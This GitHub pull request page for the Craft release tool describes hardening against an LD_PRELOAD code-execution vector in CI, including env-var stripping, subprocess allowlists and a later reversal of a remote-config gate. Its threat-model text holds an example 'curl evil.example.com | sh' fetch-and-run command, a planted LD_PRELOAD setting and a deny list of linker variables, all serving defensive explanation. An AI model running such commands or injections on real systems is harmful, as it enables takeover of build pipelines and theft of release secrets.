Conversation
Addresses the LD_PRELOAD RCE vector demonstrated in getsentry/action-release#315, where a PR to a Craft-using repo could plant a .craft.env file with LD_PRELOAD=./preload.so plus a malicious shared library and gain arbitrary code execution in the release pipeline with access to all CI secrets. Primary fix: - Remove .craft.env file reading entirely. process.env is no longer hydrated from $HOME/.craft.env or <config-dir>/.craft.env. Warn at startup if a legacy file is detected, pointing users at the shell / CI environment. The nvar dependency and src/types/nvar.ts shim are dropped. Defence-in-depth changes, in case a future regression (or an earlier CI step) plants dangerous env vars: - Strip dynamic-linker env vars (LD_PRELOAD, LD_LIBRARY_PATH, LD_AUDIT, DYLD_INSERT_LIBRARIES, DYLD_LIBRARY_PATH, DYLD_FRAMEWORK_PATH, DYLD_FALLBACK_LIBRARY_PATH, DYLD_FALLBACK_FRAMEWORK_PATH) from process.env at startup. Emergency opt-out via CRAFT_ALLOW_DYNAMIC_LINKER_ENV=1. - preReleaseCommand subprocesses now receive an allowlisted env (PATH, GITHUB_TOKEN, HOME, USER, GIT_COMMITTER_NAME, GIT_AUTHOR_NAME, EMAIL, plus CRAFT_NEW_VERSION/CRAFT_OLD_VERSION) instead of the full process.env. Matches the existing postReleaseCommand behaviour; the allowlist is now shared via src/utils/releaseCommandEnv.ts. - --config-from <branch> now requires --allow-remote-config (or CRAFT_ALLOW_REMOTE_CONFIG=1) to opt in. Remote .craft.yml is untrusted input and can execute arbitrary commands via preReleaseCommand.
Contributor
|
![cursor[bot]](https://avatars.githubusercontent.com/in/1210556?s=60&v=4){kind=small}
Contributor
There was a problem hiding this comment.
Cursor Bugbot has reviewed your changes and found 1 potential issue.
❌ Bugbot Autofix is OFF. To automatically fix reported issues with cloud agents, enable autofix in the Cursor dashboard.
Reviewed by Cursor Bugbot for commit f028c3c. Configure here.
- Run prettier over AGENTS.md to fix format-check CI. - Drop export on ALLOWED_ENV_VARS (Cursor Bugbot): it's only used internally by buildReleaseCommandEnv in the same file.
geoffg-sentry
approved these changes
Apr 21, 2026
BYK
changed the title
7 tasks
BYK
added a commit
that referenced
this pull request
Apr 21, 2026
) ## Summary Extends the dynamic-linker env-var sanitisation landed in #794 so it also applies to every subprocess Craft spawns — not just to Craft's own `process.env` at startup. Defence-in-depth against two residual attack surfaces: 1. **Post-startup mutation of `process.env`** — hostile or accidental code that sets `LD_PRELOAD` back into `process.env` after Craft's startup sanitiser has run. The subprocess would still inherit it. 2. **Caller-constructed `options.env`** — any future refactor that does `{ ...process.env, ...custom }` (or takes env from an external source) could smuggle a dynamic-linker key into a child without going through `process.env`. Neither is exploitable today — #794 closed the primary `.craft.env` vector and Craft doesn't currently mutate `process.env` or take env from external files — but the pattern is cheap to make robust before it becomes a regression footgun. ## Change `src/utils/system.ts:spawnProcess` now routes `options.env ?? process.env` through a new `sanitizeSpawnEnv()` helper before handing it to `child_process.spawn`. The helper: - Strips `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_AUDIT`, and the `DYLD_*` family (same set as the startup sanitiser). - Honours the same `CRAFT_ALLOW_DYNAMIC_LINKER_ENV=1` opt-out as `sanitizeDynamicLinkerEnv`. - Never logs values (only key names). - Returns a fresh shallow copy — input is never mutated, so callers can reuse their env object. ## Where the code lives A new leaf module `src/utils/dynamicLinkerEnv.ts` holds the constants and both sanitisers. `src/utils/env.ts` re-exports the same names so existing imports (notably `src/index.ts`) keep working. Why the move: `src/utils/system.ts` needs the sanitiser, but `src/utils/env.ts` transitively imports `src/config.ts` → artifact providers → which import back into `src/utils/system.ts`. A direct `system.ts → env.ts` edge creates a cycle that breaks test loading (observed it locally — `Class extends value undefined` when `BaseArtifactProvider` wasn't ready yet). Leaf module with only `logger` as a dep sidesteps this cleanly. ## Tests - **7 new unit tests** in `src/utils/__tests__/env.test.ts` on `sanitizeSpawnEnv` (undefined input passthrough, shallow copy behaviour, input-not-mutated invariant, stripping all `DYLD_*` variants, opt-out behaviour, value-not-in-log property, strict opt-out equality check). - **3 new integration tests** in `src/utils/__tests__/system.test.ts` that actually spawn `node` as a subprocess and read back `process.env.LD_PRELOAD` from inside the child: - explicit `LD_PRELOAD` in `options.env` → child sees `undefined`; - `LD_PRELOAD` set on `process.env` post-startup → child sees `undefined`; - same with `CRAFT_ALLOW_DYNAMIC_LINKER_ENV=1` → child sees the value (opt-out works). Full suite: 969 passed (same 7 pre-existing e2e failures unrelated to this work). `pnpm build` + `pnpm lint src/` clean. ## Notes for reviewers - The opt-out key is still `CRAFT_ALLOW_DYNAMIC_LINKER_ENV=1` and must be set in `process.env`, not `options.env`. If a caller passes `LD_PRELOAD` in `options.env` and the opt-out is not set on `process.env`, it gets stripped — even if the caller "intended" it. This is consistent with the startup sanitiser. - `buildReleaseCommandEnv()` (PR #794) already produces an env that cannot contain dynamic-linker keys because its allowlist doesn't include them. This PR is a backstop behind that.
BYK
added a commit
that referenced
this pull request
Apr 22, 2026
## Summary Fixes the regression reported in [getsentry/sentry-cocoa run #24797916943](https://github.com/getsentry/sentry-cocoa/actions/runs/24797916943/job/72575447439): `./scripts/update-package-sha.sh: line 4: GITHUB_RUN_ID: unbound variable`. PR #794 ([shipped in Craft 2.25.5](https://github.com/getsentry/craft/releases/tag/2.25.5)) locked pre/postReleaseCommand down to an explicit allowlist (`PATH`, `GITHUB_TOKEN`, `HOME`, `USER`, `GIT_COMMITTER_NAME`, `GIT_AUTHOR_NAME`, `EMAIL`, plus per-command `CRAFT_*` extras). That shape was deliberately minimal but overshot: GitHub Actions injects ~40 `GITHUB_*` context vars into every step (`GITHUB_REPOSITORY`, `GITHUB_SHA`, `GITHUB_RUN_ID`, `GITHUB_ACTOR`, `GITHUB_WORKFLOW`, `GITHUB_API_URL`, `GITHUB_SERVER_URL`, …) and release scripts commonly read them. sentry-cocoa's bump script stamps `$GITHUB_RUN_ID` into a file for a follow-up step to consume, so cutting off the whole namespace made it fail hard. ## Fix Extend `buildReleaseCommandEnv` to also forward any `process.env` key that starts with `GITHUB_` or `RUNNER_`. `RUNNER_*` (RUNNER_OS / RUNNER_ARCH / RUNNER_TEMP / …) is the same class of non-secret runner metadata. ## Why this is safe — and the trade-off Credential env vars Craft uses that are named with **unrelated** prefixes remain blocked: - `NPM_TOKEN`, `CRATES_IO_TOKEN`, `HEX_API_KEY`, `POWERSHELL_API_KEY`, `NUGET_API_TOKEN`, `PUBDEV_ACCESS_TOKEN`, `PUBDEV_REFRESH_TOKEN` - `DOCKER_PASSWORD`, `DOCKER_GHCR_IO_PASSWORD`, `DOCKER_USERNAME` - `AWS_SECRET_ACCESS_KEY`, `AWS_ACCESS_KEY_ID` - `TWINE_PASSWORD`, `TWINE_USERNAME` - `GEM_HOST_API_KEY`, `COCOAPODS_TRUNK_TOKEN` - `GPG_PRIVATE_KEY`, `GPG_PASSPHRASE`, `OSSRH_USERNAME`, `OSSRH_PASSWORD` - `CRAFT_GCS_TARGET_CREDS_JSON`, `CRAFT_GCS_STORE_CREDS_JSON` Two credential env vars **do** live in the `GITHUB_*` namespace and are therefore now forwarded: 1. **`GITHUB_TOKEN`** — already on the allowlist pre-#807, no change in exposure. 2. **`GITHUB_API_TOKEN`** — used by Craft as a ghcr.io / cross-repo fallback when `GITHUB_TOKEN` is absent (see `src/targets/docker.ts:338`, `src/targets/commitOnGitRepository.ts:148`, `src/utils/githubApi.ts:78`). This is newly forwarded by #807. On `getsentry/publish`-style workflows it is not set (only `GITHUB_TOKEN` is), so no leak there. On consumer CI setups that explicitly export `GITHUB_API_TOKEN`, a malicious `preReleaseCommand` would now see it. This is the intentional trade-off: a malicious `preReleaseCommand` that already has shell execution can exfiltrate whichever token is set, and the alternative (splitting context from credentials via explicit lists instead of prefix) forces every consumer to proxy routine Actions metadata via `CRAFT_*` — which is the exact ergonomic regression this PR fixes. Similarly, `GITHUB_ENV` / `GITHUB_PATH` / `GITHUB_OUTPUT` / `GITHUB_STEP_SUMMARY` point at runner files that subsequent workflow steps read. Forwarding them lets a compromised release command influence later steps. No new primitive: the attacker already has shell exec in the same docker mount as those files. I cross-checked `getsentry/publish/.github/workflows/publish.yml`: the only `GITHUB_*`-named key its Docker step sets is `GITHUB_TOKEN`. Other secrets all use the unrelated prefixes listed above. ## Tests Both `prepare.test.ts` and `publish.test.ts` get a new regression test: ```ts process.env.GITHUB_RUN_ID = '123456'; process.env.GITHUB_REPOSITORY = 'getsentry/sentry-cocoa'; process.env.RUNNER_OS = 'Linux'; process.env.NPM_TOKEN = 'npm_xxx_must_not_leak'; process.env.DOCKER_PASSWORD = 'dockerpw_must_not_leak'; await runPreReleaseCommand({ ... }); // GITHUB_* and RUNNER_* pass through. expect(envArg.GITHUB_RUN_ID).toBe('123456'); expect(envArg.GITHUB_REPOSITORY).toBe('getsentry/sentry-cocoa'); expect(envArg.RUNNER_OS).toBe('Linux'); // Credential-named vars do not. expect(envArg.NPM_TOKEN).toBeUndefined(); expect(envArg.DOCKER_PASSWORD).toBeUndefined(); ``` Existing "does not forward arbitrary env vars from process.env" tests still guard the negative side (`LD_PRELOAD`, `AWS_SECRET_ACCESS_KEY`, random `SECRET_TOKEN` must not leak). The `expectedBaseEnv()` helper in both test files is now dynamic so it stays correct when the tests run under GHA (where `process.env` contains a full `GITHUB_*` / `RUNNER_*` set). 996 tests pass; same 7 pre-existing env-only e2e failures as on master. Lint / build clean.
BYK
added a commit
that referenced
this pull request
Apr 23, 2026
## Summary Removes the `--allow-remote-config` / `CRAFT_ALLOW_REMOTE_CONFIG=1` gate added in #794. The gate is broken in the canonical `getsentry/craft` composite action (see below) and the marginal defence-in-depth it provided does not justify the breakage. **This reverts a security feature shipped in Craft 2.25.5**, so the "why" below is deliberately explicit. ## The bug users are hitting `action.yml:162-165` constructs: ``` CRAFT_ARGS="" if [[ '${{ inputs.craft_config_from_merge_target }}' == 'true' && -n '${{ inputs.merge_target }}' ]]; then CRAFT_ARGS="--config-from ${{ inputs.merge_target }}" fi ``` It passes `--config-from` but never passes `--allow-remote-config`. Every consumer who set `craft_config_from_merge_target: true` after Craft 2.25.5 has been hitting `ConfigurationError` with a message telling them to pass a flag they cannot pass. The user complaint that prompted this PR is one such case. ## Why total removal rather than a 1-line passthrough in action.yml The most obvious alternative is to add `--allow-remote-config` to `CRAFT_ARGS` in `action.yml` when `craft_config_from_merge_target: true`. That was considered and rejected: - If the flag is auto-passed whenever the input is set, the flag is tautological: "opt in by setting `craft_config_from_merge_target: true`" already **is** the opt-in ceremony. A second opt-in that the composite action always supplies in lockstep is friction with no signal. - The flag's only remaining value would be for direct CLI users (`craft prepare --config-from …` without the action). Those invocations are rare and the ceremony value is marginal; a `logger.warn` at the execution site (kept in this PR) tells them what's happening without blocking. - Keeping the flag alive as a "passthrough only" option creates an ongoing maintenance cost: docs, tests, the yargs option itself, composite-action plumbing. All for near-zero remaining defence-in-depth value. So the choice is: delete the flag, rely on the `logger.warn` reminder + release-workflow-author discipline + the env allowlist (which limits but does not eliminate what a malicious `preReleaseCommand` can exfiltrate). ## Honest threat-model discussion The original gate (#794) rationale was: "remotely-fetched `.craft.yml` is untrusted input that can execute arbitrary commands via `preReleaseCommand`." That framing overstates what the gate actually defends: - **The branch passed to `--config-from` is, in every realistic caller I have audited, chosen by the release workflow author on a protected branch**. For `getsentry/craft` + `getsentry/publish` it's the `merge_target` input sourced from `workflow_call` / `workflow_dispatch` (not from PR-controllable state). PR contributors cannot influence it without first landing changes on the protected branch. For third-party consumers the trust boundary depends on their workflow shape — they are responsible for not wiring PR-controllable input to `merge_target`. - **The `.craft.yml` → `preReleaseCommand` → RCE vector exists independently of `--config-from`**. Every `craft prepare` run reads `.craft.yml` from `cwd`; if a PR modifies `cwd`'s `.craft.yml` and lands on the release branch, the malicious command runs regardless of whether `--config-from` is used. - The `buildReleaseCommandEnv` allowlist (PR #794 / #807) **limits what a malicious `preReleaseCommand` can exfiltrate** (by stripping most secret env vars from the subprocess env); it does **not** prevent arbitrary command execution itself. A `preReleaseCommand: "curl evil.example.com | sh"` still runs, still has network, and still has access to whatever is on the allowlist (including `GITHUB_TOKEN`). The gate was never the thing standing between an attacker and RCE; it just forced them to pick the local-file vector instead of the remote one. Given both vectors carry identical risk and the remote one was gated but not the local one, the gate added friction without closing the class of risk it claimed to defend. ## Change - Remove `--allow-remote-config` option from the yargs `builder` in `src/commands/prepare.ts`. - Remove `allowRemoteConfig` from `PrepareOptions`. - Remove the exported `assertRemoteConfigAllowed` helper. - Remove the callsite check in `prepareMain`. Kept a `logger.warn` at the execution site reminding the operator that the remote `preReleaseCommand` will be executed. - Remove the 3 unit tests for the deleted helper and their now-unused imports. - Update the stale AGENTS.md lore entry (previously claimed the gate as an active security posture) to describe the removal and warn future maintainers not to resurrect it. Backward-compat notes: - Users currently setting `CRAFT_ALLOW_REMOTE_CONFIG=1` in their env: the var is silently ignored after this PR (yargs's `.env('CRAFT')` only binds env vars with matching options). No breakage. - Users currently passing `--allow-remote-config` as a CLI flag: yargs's `.strictCommands()` (not `.strict()`) ignores unknown options. No breakage. ## Bundled: `ci: exclude CHANGELOG.md from prettier` Separate commit in this PR. `CHANGELOG.md` is auto-generated from PR descriptions by the release tooling; entries like `(release-env) Allowlist GITHUB_* and RUNNER_* by prefix` contain markdown prettier wants to re-escape (`_*` → `\*`) every time a release cuts. This has been failing the format-check on every PR against master since the 2.26.0 release entry landed. Adding `CHANGELOG.md` to `.prettierignore` lets the release tooling be the sole authority on its contents. Technically orthogonal to the gate removal but bundled here because (a) without it, this PR's CI fails on a pre-existing master problem, (b) the fix is 6 lines of `.prettierignore`, (c) splitting would add calendar-time blocking for both PRs. Mentioned explicitly so reviewers aren't surprised by the scope. ## Tests `pnpm test src/commands/__tests__/prepare.test.ts` → 8 tests pass (was 11; the 3 `assertRemoteConfigAllowed` tests are deleted along with the helper). Full suite: 993 pass; same 7 pre-existing e2e failures unrelated to this change. Lint / build / prettier clean.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
2 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
Addresses the
LD_PRELOADRCE vector demonstrated in getsentry/action-release#315. A contributor PR to any Craft-using repo could plant a.craft.envfile containingLD_PRELOAD=./preload.soplus a malicious shared library; when Craft ran in CI it would hydrateprocess.env.LD_PRELOADand every subprocess Craft spawned (git, npm, gpg, docker, etc.) would load the attacker's code with access to all release secrets.This PR removes the primary vector and hardens three adjacent surfaces so a future regression (or an earlier CI step planting dangerous env vars) cannot be similarly weaponised.
Changes
1. Remove
.craft.envfile reading (primary fix)src/utils/env.ts: deletereadEnvironmentConfig,ENV_FILE_NAME,checkFileIsPrivate. AddwarnIfCraftEnvFileExists()which only callsexistsSyncand emits a one-time warning per legacy file location, pointing users at the shell / CI environment.process.envis never hydrated from a file again.src/index.ts: swap the call site.package.json/src/types/nvar.ts: drop thenvardependency and its type shim.docs/.../getting-started.md: replace the "Environment Files" section with a short note that credentials must come from the shell / CI.2. Strip dynamic-linker env vars at startup (defence-in-depth)
src/utils/env.ts: newsanitizeDynamicLinkerEnv()deletesLD_PRELOAD,LD_LIBRARY_PATH,LD_AUDIT,DYLD_INSERT_LIBRARIES,DYLD_LIBRARY_PATH,DYLD_FRAMEWORK_PATH,DYLD_FALLBACK_LIBRARY_PATH,DYLD_FALLBACK_FRAMEWORK_PATHfromprocess.envwith a per-key warning. Values are never logged.CRAFT_ALLOW_DYNAMIC_LINKER_ENV=1preserves the vars but emits a noisy info-level log naming which keys were preserved.src/index.tsas the very first thingmain()does.3. Allowlist env forwarded to
preReleaseCommand(breaking change)Previously
runCustomPreReleaseCommandinsrc/commands/prepare.tsforwarded{ ...process.env, ...additionalEnv }to the subprocess — anything in the parent env (includingLD_PRELOAD, cloud credentials, etc.) leaked through.src/utils/releaseCommandEnv.tsexportsALLOWED_ENV_VARSandbuildReleaseCommandEnv(extras)which returns{ PATH, GITHUB_TOKEN, HOME, USER, GIT_COMMITTER_NAME, GIT_AUTHOR_NAME, EMAIL, ...extras }.prepare.tsandpublish.tsboth use the shared helper.runPostReleaseCommandbehaviour is unchanged — it already used an inline allowlist — but the inline code is replaced with the shared helper.CRAFT_prefix (yargs auto-promotesCRAFT_*to CLI options) or have the script source them from a secrets file.4. Gate
--config-frombehind--allow-remote-config(breaking change)--config-from <branch>fetches.craft.ymlfrom a remote git ref viagit showand feeds it toloadConfigurationFromString, which configures thepreReleaseCommandthat Craft later executes. That's effectively arbitrary-command execution from a network-fetched payload.src/commands/prepare.ts: new--allow-remote-configflag (also honoured asCRAFT_ALLOW_REMOTE_CONFIG=1).assertRemoteConfigAllowed()helper throwsConfigurationErrornaming the branch and the opt-in flag when--config-fromis used without the opt-in. When opted in, Craft logs a warning identifying the branch.Testing
src/utils/__tests__/env.test.ts): 5 tests forsanitizeDynamicLinkerEnvcovering all keys, opt-out behaviour, value-not-in-log property; 5 tests forwarnIfCraftEnvFileExists.src/commands/__tests__/prepare.test.ts): plantedLD_PRELOAD/AWS_SECRET_ACCESS_KEY/SECRET_TOKENinprocess.envand assert none reach the spawn env; 3 tests forassertRemoteConfigAllowed.src/commands/__tests__/publish.test.ts): same attacker-planted-env regression forrunPostReleaseCommand(locks in the existing allowlist behaviour).prepare-dry-run.e2e.test.tsas on master; unrelated).pnpm buildpasses;pnpm lint src/reports 0 errors (only pre-existing warnings).Verification steps
pnpm install && pnpm test && pnpm build— all pass.rg -n "nvar|ENV_FILE_NAME|readEnvironmentConfig" src/ docs/src/— no hits..craft.envnext to.craft.ymlin a scratch dir; Craft warns and does not load it.LD_PRELOAD=xin your shell and run./dist/craft --help— Craft strips it and warns../dist/craft prepare --config-from some-branch 1.0.0— rejected with aConfigurationErrornaming--allow-remote-config.Breaking changes
See the commit body. Summarised:
.craft.envis no longer read; use shell / CI env instead.preReleaseCommandreceives only allowlisted env vars.LD_PRELOAD/DYLD_*are stripped at startup (override:CRAFT_ALLOW_DYNAMIC_LINKER_ENV=1).--config-fromrequires--allow-remote-config(override:CRAFT_ALLOW_REMOTE_CONFIG=1).